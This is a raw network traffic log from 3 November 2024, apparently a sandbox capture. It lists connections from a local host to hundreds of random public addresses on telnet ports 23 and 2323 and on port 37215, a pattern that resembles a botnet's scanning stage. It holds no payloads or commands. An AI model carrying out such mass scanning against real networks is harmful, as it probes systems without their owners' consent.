Nov 3, 2024 15:33:03.907207012 CET	4833	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:03.907216072 CET	23	4833	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:03.907216072 CET	4833	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:03.907218933 CET	4833	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:03.907228947 CET	23	4833	61.249.130.155	192.168.2.14
Nov 3, 2024 15:33:03.907237053 CET	4833	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:03.907239914 CET	23	4833	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:03.907250881 CET	23	4833	39.199.141.240	192.168.2.14
Nov 3, 2024 15:33:03.907262087 CET	23	4833	133.16.228.85	192.168.2.14
Nov 3, 2024 15:33:03.907274008 CET	23	4833	149.152.23.218	192.168.2.14
Nov 3, 2024 15:33:03.907279968 CET	4833	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:03.907280922 CET	4833	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:03.907284975 CET	23	4833	120.177.102.56	192.168.2.14
Nov 3, 2024 15:33:03.907295942 CET	2323	4833	27.214.85.5	192.168.2.14
Nov 3, 2024 15:33:03.907299042 CET	4833	23	192.168.2.14	61.249.130.155
Nov 3, 2024 15:33:03.907299995 CET	23	4833	182.72.169.201	192.168.2.14
Nov 3, 2024 15:33:03.907305002 CET	23	4833	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:03.907315969 CET	4833	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:03.907316923 CET	4833	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:03.907331944 CET	4833	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:03.907332897 CET	4833	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:03.907340050 CET	4833	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:03.907341003 CET	4833	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:03.907341003 CET	4833	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:03.907414913 CET	23	4833	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:03.907466888 CET	4833	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:03.907557011 CET	23	4833	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:03.907567024 CET	23	4833	20.246.13.46	192.168.2.14
Nov 3, 2024 15:33:03.907576084 CET	23	4833	46.243.236.106	192.168.2.14
Nov 3, 2024 15:33:03.907588005 CET	23	4833	19.77.22.181	192.168.2.14
Nov 3, 2024 15:33:03.907604933 CET	23	4833	195.192.70.208	192.168.2.14
Nov 3, 2024 15:33:03.907605886 CET	4833	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:03.907609940 CET	4833	23	192.168.2.14	20.246.13.46
Nov 3, 2024 15:33:03.907615900 CET	23	4833	207.95.101.216	192.168.2.14
Nov 3, 2024 15:33:03.907618046 CET	4833	23	192.168.2.14	19.77.22.181
Nov 3, 2024 15:33:03.907620907 CET	4833	23	192.168.2.14	46.243.236.106
Nov 3, 2024 15:33:03.907624960 CET	2323	4833	44.20.145.126	192.168.2.14
Nov 3, 2024 15:33:03.907634974 CET	23	4833	116.207.27.172	192.168.2.14
Nov 3, 2024 15:33:03.907644033 CET	23	4833	121.234.143.102	192.168.2.14
Nov 3, 2024 15:33:03.907644987 CET	4833	23	192.168.2.14	195.192.70.208
Nov 3, 2024 15:33:03.907644987 CET	4833	23	192.168.2.14	207.95.101.216
Nov 3, 2024 15:33:03.907653093 CET	23	4833	119.164.224.217	192.168.2.14
Nov 3, 2024 15:33:03.907660007 CET	4833	2323	192.168.2.14	44.20.145.126
Nov 3, 2024 15:33:03.907663107 CET	23	4833	198.225.115.255	192.168.2.14
Nov 3, 2024 15:33:03.907665968 CET	4833	23	192.168.2.14	116.207.27.172
Nov 3, 2024 15:33:03.907671928 CET	23	4833	86.21.80.29	192.168.2.14
Nov 3, 2024 15:33:03.907674074 CET	4833	23	192.168.2.14	121.234.143.102
Nov 3, 2024 15:33:03.907676935 CET	23	4833	213.113.118.201	192.168.2.14
Nov 3, 2024 15:33:03.907685995 CET	23	4833	118.95.248.76	192.168.2.14
Nov 3, 2024 15:33:03.907686949 CET	4833	23	192.168.2.14	119.164.224.217
Nov 3, 2024 15:33:03.907695055 CET	23	4833	27.59.131.193	192.168.2.14
Nov 3, 2024 15:33:03.907696962 CET	4833	23	192.168.2.14	198.225.115.255
Nov 3, 2024 15:33:03.907701969 CET	4833	23	192.168.2.14	86.21.80.29
Nov 3, 2024 15:33:03.907705069 CET	23	4833	103.85.147.235	192.168.2.14
Nov 3, 2024 15:33:03.907716990 CET	2323	4833	76.164.84.170	192.168.2.14
Nov 3, 2024 15:33:03.907721043 CET	4833	23	192.168.2.14	27.59.131.193
Nov 3, 2024 15:33:03.907721043 CET	4833	23	192.168.2.14	118.95.248.76
Nov 3, 2024 15:33:03.907726049 CET	23	4833	172.167.107.127	192.168.2.14
Nov 3, 2024 15:33:03.907726049 CET	4833	23	192.168.2.14	213.113.118.201
Nov 3, 2024 15:33:03.907737970 CET	23	4833	206.131.19.213	192.168.2.14
Nov 3, 2024 15:33:03.907742977 CET	4833	23	192.168.2.14	103.85.147.235
Nov 3, 2024 15:33:03.907747030 CET	23	4833	191.77.174.151	192.168.2.14
Nov 3, 2024 15:33:03.907749891 CET	4833	2323	192.168.2.14	76.164.84.170
Nov 3, 2024 15:33:03.907757044 CET	23	4833	183.120.2.184	192.168.2.14
Nov 3, 2024 15:33:03.907768011 CET	23	4833	218.231.179.0	192.168.2.14
Nov 3, 2024 15:33:03.907772064 CET	4833	23	192.168.2.14	172.167.107.127
Nov 3, 2024 15:33:03.907783985 CET	23	4833	86.93.235.202	192.168.2.14
Nov 3, 2024 15:33:03.907784939 CET	4833	23	192.168.2.14	206.131.19.213
Nov 3, 2024 15:33:03.907788038 CET	4833	23	192.168.2.14	191.77.174.151
Nov 3, 2024 15:33:03.907790899 CET	4833	23	192.168.2.14	183.120.2.184
Nov 3, 2024 15:33:03.907794952 CET	23	4833	172.217.220.1	192.168.2.14
Nov 3, 2024 15:33:03.907799006 CET	4833	23	192.168.2.14	218.231.179.0
Nov 3, 2024 15:33:03.907805920 CET	23	4833	113.19.29.151	192.168.2.14
Nov 3, 2024 15:33:03.907815933 CET	23	4833	66.176.135.157	192.168.2.14
Nov 3, 2024 15:33:03.907840967 CET	4833	23	192.168.2.14	86.93.235.202
Nov 3, 2024 15:33:03.907850027 CET	4833	23	192.168.2.14	66.176.135.157
Nov 3, 2024 15:33:03.907851934 CET	4833	23	192.168.2.14	113.19.29.151
Nov 3, 2024 15:33:03.907866955 CET	4833	23	192.168.2.14	172.217.220.1
Nov 3, 2024 15:33:03.907905102 CET	2323	4833	1.149.19.207	192.168.2.14
Nov 3, 2024 15:33:03.907915115 CET	23	4833	213.94.245.208	192.168.2.14
Nov 3, 2024 15:33:03.907923937 CET	23	4833	14.87.228.103	192.168.2.14
Nov 3, 2024 15:33:03.907927990 CET	23	4833	66.30.112.189	192.168.2.14
Nov 3, 2024 15:33:03.907936096 CET	23	4833	53.86.184.61	192.168.2.14
Nov 3, 2024 15:33:03.907943964 CET	4833	2323	192.168.2.14	1.149.19.207
Nov 3, 2024 15:33:03.907943964 CET	23	4833	169.184.35.112	192.168.2.14
Nov 3, 2024 15:33:03.907954931 CET	4833	23	192.168.2.14	213.94.245.208
Nov 3, 2024 15:33:03.907954931 CET	4833	23	192.168.2.14	14.87.228.103
Nov 3, 2024 15:33:03.907963037 CET	4833	23	192.168.2.14	66.30.112.189
Nov 3, 2024 15:33:03.907964945 CET	4833	23	192.168.2.14	169.184.35.112
Nov 3, 2024 15:33:03.907964945 CET	4833	23	192.168.2.14	53.86.184.61
Nov 3, 2024 15:33:03.907974958 CET	23	4833	148.252.153.60	192.168.2.14
Nov 3, 2024 15:33:03.908003092 CET	23	4833	141.4.200.253	192.168.2.14
Nov 3, 2024 15:33:03.908013105 CET	23	4833	157.71.11.181	192.168.2.14
Nov 3, 2024 15:33:03.908020973 CET	23	4833	89.115.151.128	192.168.2.14
Nov 3, 2024 15:33:03.908030033 CET	2323	4833	27.81.211.2	192.168.2.14
Nov 3, 2024 15:33:03.908035994 CET	4833	23	192.168.2.14	141.4.200.253
Nov 3, 2024 15:33:03.908039093 CET	23	4833	121.65.2.238	192.168.2.14
Nov 3, 2024 15:33:03.908041000 CET	4833	23	192.168.2.14	157.71.11.181
Nov 3, 2024 15:33:03.908046007 CET	4833	23	192.168.2.14	148.252.153.60
Nov 3, 2024 15:33:03.908049107 CET	23	4833	45.73.149.128	192.168.2.14
Nov 3, 2024 15:33:03.908052921 CET	4833	2323	192.168.2.14	27.81.211.2
Nov 3, 2024 15:33:03.908060074 CET	23	4833	97.145.245.236	192.168.2.14
Nov 3, 2024 15:33:03.908066988 CET	4833	23	192.168.2.14	121.65.2.238
Nov 3, 2024 15:33:03.908071995 CET	4833	23	192.168.2.14	89.115.151.128
Nov 3, 2024 15:33:03.908073902 CET	23	4833	75.236.167.188	192.168.2.14
Nov 3, 2024 15:33:03.908077002 CET	4833	23	192.168.2.14	45.73.149.128
Nov 3, 2024 15:33:03.908085108 CET	23	4833	178.197.224.113	192.168.2.14
Nov 3, 2024 15:33:03.908092976 CET	23	4833	43.51.217.145	192.168.2.14
Nov 3, 2024 15:33:03.908103943 CET	23	4833	81.39.82.33	192.168.2.14
Nov 3, 2024 15:33:03.908108950 CET	4833	23	192.168.2.14	75.236.167.188
Nov 3, 2024 15:33:03.908113956 CET	4833	23	192.168.2.14	97.145.245.236
Nov 3, 2024 15:33:03.908116102 CET	23	4833	207.72.54.133	192.168.2.14
Nov 3, 2024 15:33:03.908126116 CET	23	4833	92.16.14.38	192.168.2.14
Nov 3, 2024 15:33:03.908138990 CET	4833	23	192.168.2.14	178.197.224.113
Nov 3, 2024 15:33:03.908148050 CET	4833	23	192.168.2.14	207.72.54.133
Nov 3, 2024 15:33:03.908186913 CET	4833	23	192.168.2.14	81.39.82.33
Nov 3, 2024 15:33:03.908190012 CET	4833	23	192.168.2.14	43.51.217.145
Nov 3, 2024 15:33:03.908195019 CET	4833	23	192.168.2.14	92.16.14.38
Nov 3, 2024 15:33:03.918399096 CET	4847	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:03.918426991 CET	4847	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:03.918452024 CET	4847	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:03.918452024 CET	4847	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:03.918483973 CET	4847	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:03.918486118 CET	4847	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:03.918494940 CET	4847	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:03.918499947 CET	4847	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:03.918499947 CET	4847	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:03.918520927 CET	4847	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:03.918520927 CET	4847	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:03.918530941 CET	4847	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:03.918530941 CET	4847	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:03.918530941 CET	4847	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:03.918541908 CET	4847	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:03.918548107 CET	4847	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:03.918560982 CET	4847	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:03.918562889 CET	4847	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:03.918574095 CET	4847	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:03.918586969 CET	4847	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:03.918590069 CET	4847	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:03.918592930 CET	4847	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:03.918592930 CET	4847	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:03.918592930 CET	4847	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:03.918592930 CET	4847	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:03.918598890 CET	4847	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:03.918601036 CET	4847	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:03.918621063 CET	4847	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:03.918622971 CET	4847	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:03.918626070 CET	4847	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:03.918647051 CET	4847	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:03.918649912 CET	4847	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:03.918649912 CET	4847	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:03.918667078 CET	4847	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:03.918668985 CET	4847	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:03.918668985 CET	4847	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:03.918684006 CET	4847	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:03.918687105 CET	4847	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:03.918692112 CET	4847	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:03.918693066 CET	4847	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:03.918693066 CET	4847	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:03.918695927 CET	4847	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:03.918704987 CET	4847	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:03.918710947 CET	4847	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:03.918724060 CET	4847	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:03.918726921 CET	4847	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:03.918729067 CET	4847	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:03.918740034 CET	4847	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:03.918745041 CET	4847	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:03.918745995 CET	4847	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:03.918750048 CET	4847	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:03.918755054 CET	4847	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:03.918765068 CET	4847	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:03.918770075 CET	4847	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:03.918771982 CET	4847	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:03.918785095 CET	4847	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:03.918786049 CET	4847	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:03.918788910 CET	4847	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:03.918792963 CET	4847	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:03.918797970 CET	4847	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:03.918797970 CET	4847	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:03.918800116 CET	4847	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:03.918807030 CET	4847	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:03.918818951 CET	4847	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:03.918826103 CET	4847	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:03.918826103 CET	4847	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:03.918828964 CET	4847	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:03.918843031 CET	4847	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:03.918852091 CET	4847	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:03.918853045 CET	4847	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:03.918862104 CET	4847	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:03.918868065 CET	4847	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:03.918872118 CET	4847	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:03.918876886 CET	4847	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:03.918876886 CET	4847	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:03.918889046 CET	4847	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:03.918889046 CET	4847	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:03.918893099 CET	4847	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:03.918894053 CET	4847	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:03.918898106 CET	4847	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:03.918910980 CET	4847	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:03.918921947 CET	4847	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:03.918921947 CET	4847	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:03.918924093 CET	4847	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:03.918932915 CET	4847	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:03.918939114 CET	4847	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:03.918939114 CET	4847	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:03.918945074 CET	4847	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:03.918962955 CET	4847	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:03.918963909 CET	4847	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:03.918967962 CET	4847	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:03.918972969 CET	4847	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:03.918978930 CET	4847	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:03.918987036 CET	4847	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:03.918988943 CET	4847	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:03.918996096 CET	4847	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:03.919007063 CET	4847	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:03.919012070 CET	4847	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:03.919012070 CET	4847	37215	192.168.2.14	41.173.225.126
Nov 3, 2024 15:33:03.919012070 CET	4847	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:03.919018030 CET	4847	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:03.919037104 CET	4847	37215	192.168.2.14	41.63.150.43
Nov 3, 2024 15:33:03.919038057 CET	4847	37215	192.168.2.14	197.5.68.146
Nov 3, 2024 15:33:03.919040918 CET	4847	37215	192.168.2.14	41.113.208.134
Nov 3, 2024 15:33:03.919044018 CET	4847	37215	192.168.2.14	197.223.202.189
Nov 3, 2024 15:33:03.919044018 CET	4847	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:03.919048071 CET	4847	37215	192.168.2.14	41.110.17.208
Nov 3, 2024 15:33:03.919049025 CET	4847	37215	192.168.2.14	156.171.200.193
Nov 3, 2024 15:33:03.919051886 CET	4847	37215	192.168.2.14	156.227.71.58
Nov 3, 2024 15:33:03.919066906 CET	4847	37215	192.168.2.14	156.196.158.189
Nov 3, 2024 15:33:03.919066906 CET	4847	37215	192.168.2.14	41.169.60.238
Nov 3, 2024 15:33:03.919070005 CET	4847	37215	192.168.2.14	197.185.108.10
Nov 3, 2024 15:33:03.919074059 CET	4847	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:03.919090033 CET	4847	37215	192.168.2.14	197.215.113.9
Nov 3, 2024 15:33:03.919090033 CET	4847	37215	192.168.2.14	41.178.239.94
Nov 3, 2024 15:33:03.919090033 CET	4847	37215	192.168.2.14	156.167.119.212
Nov 3, 2024 15:33:03.919094086 CET	4847	37215	192.168.2.14	41.219.54.123
Nov 3, 2024 15:33:03.919094086 CET	4847	37215	192.168.2.14	197.3.48.196
Nov 3, 2024 15:33:03.919101000 CET	4847	37215	192.168.2.14	41.212.41.1
Nov 3, 2024 15:33:03.919102907 CET	4847	37215	192.168.2.14	41.255.139.124
Nov 3, 2024 15:33:03.919125080 CET	4847	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:03.919142962 CET	4847	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:03.919159889 CET	4847	37215	192.168.2.14	197.179.102.71
Nov 3, 2024 15:33:03.919159889 CET	4847	37215	192.168.2.14	156.99.132.67
Nov 3, 2024 15:33:03.919162989 CET	4847	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:03.919164896 CET	4847	37215	192.168.2.14	156.140.164.16
Nov 3, 2024 15:33:03.919164896 CET	4847	37215	192.168.2.14	41.168.9.54
Nov 3, 2024 15:33:03.919166088 CET	4847	37215	192.168.2.14	41.152.224.214
Nov 3, 2024 15:33:03.919164896 CET	4847	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:03.919166088 CET	4847	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:03.919173002 CET	4847	37215	192.168.2.14	156.134.105.214
Nov 3, 2024 15:33:03.919186115 CET	4847	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:03.919190884 CET	4847	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:03.919197083 CET	4847	37215	192.168.2.14	156.175.61.228
Nov 3, 2024 15:33:03.919200897 CET	4847	37215	192.168.2.14	156.157.12.162
Nov 3, 2024 15:33:03.919204950 CET	4847	37215	192.168.2.14	41.94.176.141
Nov 3, 2024 15:33:03.919214010 CET	4847	37215	192.168.2.14	197.235.77.122
Nov 3, 2024 15:33:03.919220924 CET	4847	37215	192.168.2.14	41.186.137.87
Nov 3, 2024 15:33:03.919234991 CET	4847	37215	192.168.2.14	197.123.127.167
Nov 3, 2024 15:33:03.919236898 CET	4847	37215	192.168.2.14	41.240.71.183
Nov 3, 2024 15:33:03.919236898 CET	4847	37215	192.168.2.14	156.228.90.120
Nov 3, 2024 15:33:03.919239044 CET	4847	37215	192.168.2.14	41.53.21.200
Nov 3, 2024 15:33:03.919240952 CET	4847	37215	192.168.2.14	41.194.179.215
Nov 3, 2024 15:33:03.919245005 CET	4847	37215	192.168.2.14	156.176.137.173
Nov 3, 2024 15:33:03.919248104 CET	4847	37215	192.168.2.14	41.111.151.47
Nov 3, 2024 15:33:03.919249058 CET	4847	37215	192.168.2.14	156.225.184.189
Nov 3, 2024 15:33:03.919248104 CET	4847	37215	192.168.2.14	41.140.100.213
Nov 3, 2024 15:33:03.919249058 CET	4847	37215	192.168.2.14	156.71.26.142
Nov 3, 2024 15:33:03.919249058 CET	4847	37215	192.168.2.14	197.128.41.161
Nov 3, 2024 15:33:03.919267893 CET	4847	37215	192.168.2.14	41.96.186.221
Nov 3, 2024 15:33:03.919270039 CET	4847	37215	192.168.2.14	197.119.204.198
Nov 3, 2024 15:33:03.919271946 CET	4847	37215	192.168.2.14	41.231.114.63
Nov 3, 2024 15:33:03.919275045 CET	4847	37215	192.168.2.14	156.94.202.57
Nov 3, 2024 15:33:03.919275045 CET	4847	37215	192.168.2.14	156.89.44.32
Nov 3, 2024 15:33:03.919281006 CET	4847	37215	192.168.2.14	197.113.3.149
Nov 3, 2024 15:33:03.919281006 CET	4847	37215	192.168.2.14	197.166.153.240
Nov 3, 2024 15:33:03.919281006 CET	4847	37215	192.168.2.14	41.46.172.255
Nov 3, 2024 15:33:03.919281006 CET	4847	37215	192.168.2.14	41.23.31.176
Nov 3, 2024 15:33:03.919281006 CET	4847	37215	192.168.2.14	156.42.46.217
Nov 3, 2024 15:33:03.919295073 CET	4847	37215	192.168.2.14	41.188.32.37
Nov 3, 2024 15:33:03.919295073 CET	4847	37215	192.168.2.14	41.32.205.182
Nov 3, 2024 15:33:03.919295073 CET	4847	37215	192.168.2.14	197.83.106.152
Nov 3, 2024 15:33:03.919305086 CET	4847	37215	192.168.2.14	41.123.141.229
Nov 3, 2024 15:33:03.919308901 CET	4847	37215	192.168.2.14	41.200.83.214
Nov 3, 2024 15:33:03.919317961 CET	4847	37215	192.168.2.14	197.115.36.253
Nov 3, 2024 15:33:03.919326067 CET	4847	37215	192.168.2.14	197.130.157.58
Nov 3, 2024 15:33:03.919331074 CET	4847	37215	192.168.2.14	41.192.26.133
Nov 3, 2024 15:33:03.919332027 CET	4847	37215	192.168.2.14	41.84.145.133
Nov 3, 2024 15:33:03.919333935 CET	4847	37215	192.168.2.14	197.157.47.93
Nov 3, 2024 15:33:03.919342995 CET	4847	37215	192.168.2.14	197.80.160.107
Nov 3, 2024 15:33:03.919342995 CET	4847	37215	192.168.2.14	156.87.90.72
Nov 3, 2024 15:33:03.919353962 CET	4847	37215	192.168.2.14	197.250.49.122
Nov 3, 2024 15:33:03.919357061 CET	4847	37215	192.168.2.14	41.178.168.114
Nov 3, 2024 15:33:03.919361115 CET	4847	37215	192.168.2.14	41.229.82.79
Nov 3, 2024 15:33:03.919378042 CET	4847	37215	192.168.2.14	156.115.194.150
Nov 3, 2024 15:33:03.919378996 CET	4847	37215	192.168.2.14	156.13.51.167
Nov 3, 2024 15:33:03.919378996 CET	4847	37215	192.168.2.14	197.246.11.219
Nov 3, 2024 15:33:03.919380903 CET	4847	37215	192.168.2.14	41.103.70.245
Nov 3, 2024 15:33:03.919390917 CET	4847	37215	192.168.2.14	197.42.12.174
Nov 3, 2024 15:33:03.919401884 CET	4847	37215	192.168.2.14	156.96.28.176
Nov 3, 2024 15:33:03.919409990 CET	4847	37215	192.168.2.14	41.79.219.253
Nov 3, 2024 15:33:03.919411898 CET	4847	37215	192.168.2.14	41.108.222.230
Nov 3, 2024 15:33:03.919411898 CET	4847	37215	192.168.2.14	197.146.22.210
Nov 3, 2024 15:33:03.919411898 CET	4847	37215	192.168.2.14	41.93.253.205
Nov 3, 2024 15:33:03.919411898 CET	4847	37215	192.168.2.14	197.49.4.191
Nov 3, 2024 15:33:03.919424057 CET	4847	37215	192.168.2.14	41.202.164.150
Nov 3, 2024 15:33:03.919430971 CET	4847	37215	192.168.2.14	156.57.104.156
Nov 3, 2024 15:33:03.919435978 CET	4847	37215	192.168.2.14	197.112.208.190
Nov 3, 2024 15:33:03.919435978 CET	4847	37215	192.168.2.14	41.107.110.57
Nov 3, 2024 15:33:03.919441938 CET	4847	37215	192.168.2.14	197.28.67.137
Nov 3, 2024 15:33:03.919447899 CET	4847	37215	192.168.2.14	41.0.34.166
Nov 3, 2024 15:33:03.919450045 CET	4847	37215	192.168.2.14	197.79.172.225
Nov 3, 2024 15:33:03.919454098 CET	4847	37215	192.168.2.14	156.114.86.245
Nov 3, 2024 15:33:03.919467926 CET	4847	37215	192.168.2.14	197.145.11.67
Nov 3, 2024 15:33:03.919466972 CET	4847	37215	192.168.2.14	41.74.140.122
Nov 3, 2024 15:33:03.919466972 CET	4847	37215	192.168.2.14	41.184.74.193
Nov 3, 2024 15:33:03.919476986 CET	4847	37215	192.168.2.14	156.190.181.148
Nov 3, 2024 15:33:03.919480085 CET	4847	37215	192.168.2.14	156.126.229.72
Nov 3, 2024 15:33:03.919488907 CET	4847	37215	192.168.2.14	156.125.53.190
Nov 3, 2024 15:33:03.919492006 CET	4847	37215	192.168.2.14	41.174.116.224
Nov 3, 2024 15:33:03.919492960 CET	4847	37215	192.168.2.14	156.170.248.86
Nov 3, 2024 15:33:03.919502974 CET	4847	37215	192.168.2.14	197.177.73.255
Nov 3, 2024 15:33:03.919506073 CET	4847	37215	192.168.2.14	197.142.252.21
Nov 3, 2024 15:33:03.919513941 CET	4847	37215	192.168.2.14	41.47.51.40
Nov 3, 2024 15:33:03.919521093 CET	4847	37215	192.168.2.14	41.184.97.149
Nov 3, 2024 15:33:03.919523954 CET	4847	37215	192.168.2.14	197.5.49.131
Nov 3, 2024 15:33:03.919523954 CET	4847	37215	192.168.2.14	197.148.144.169
Nov 3, 2024 15:33:03.919523954 CET	4847	37215	192.168.2.14	41.218.169.66
Nov 3, 2024 15:33:03.919531107 CET	4847	37215	192.168.2.14	197.93.81.76
Nov 3, 2024 15:33:03.919537067 CET	4847	37215	192.168.2.14	197.52.232.14
Nov 3, 2024 15:33:03.919542074 CET	4847	37215	192.168.2.14	156.119.143.247
Nov 3, 2024 15:33:03.919548988 CET	4847	37215	192.168.2.14	156.78.47.10
Nov 3, 2024 15:33:03.919548988 CET	4847	37215	192.168.2.14	156.202.58.55
Nov 3, 2024 15:33:03.919570923 CET	4847	37215	192.168.2.14	41.43.75.22
Nov 3, 2024 15:33:03.919570923 CET	4847	37215	192.168.2.14	156.145.65.111
Nov 3, 2024 15:33:03.919572115 CET	4847	37215	192.168.2.14	156.184.178.203
Nov 3, 2024 15:33:03.919572115 CET	4847	37215	192.168.2.14	156.198.37.205
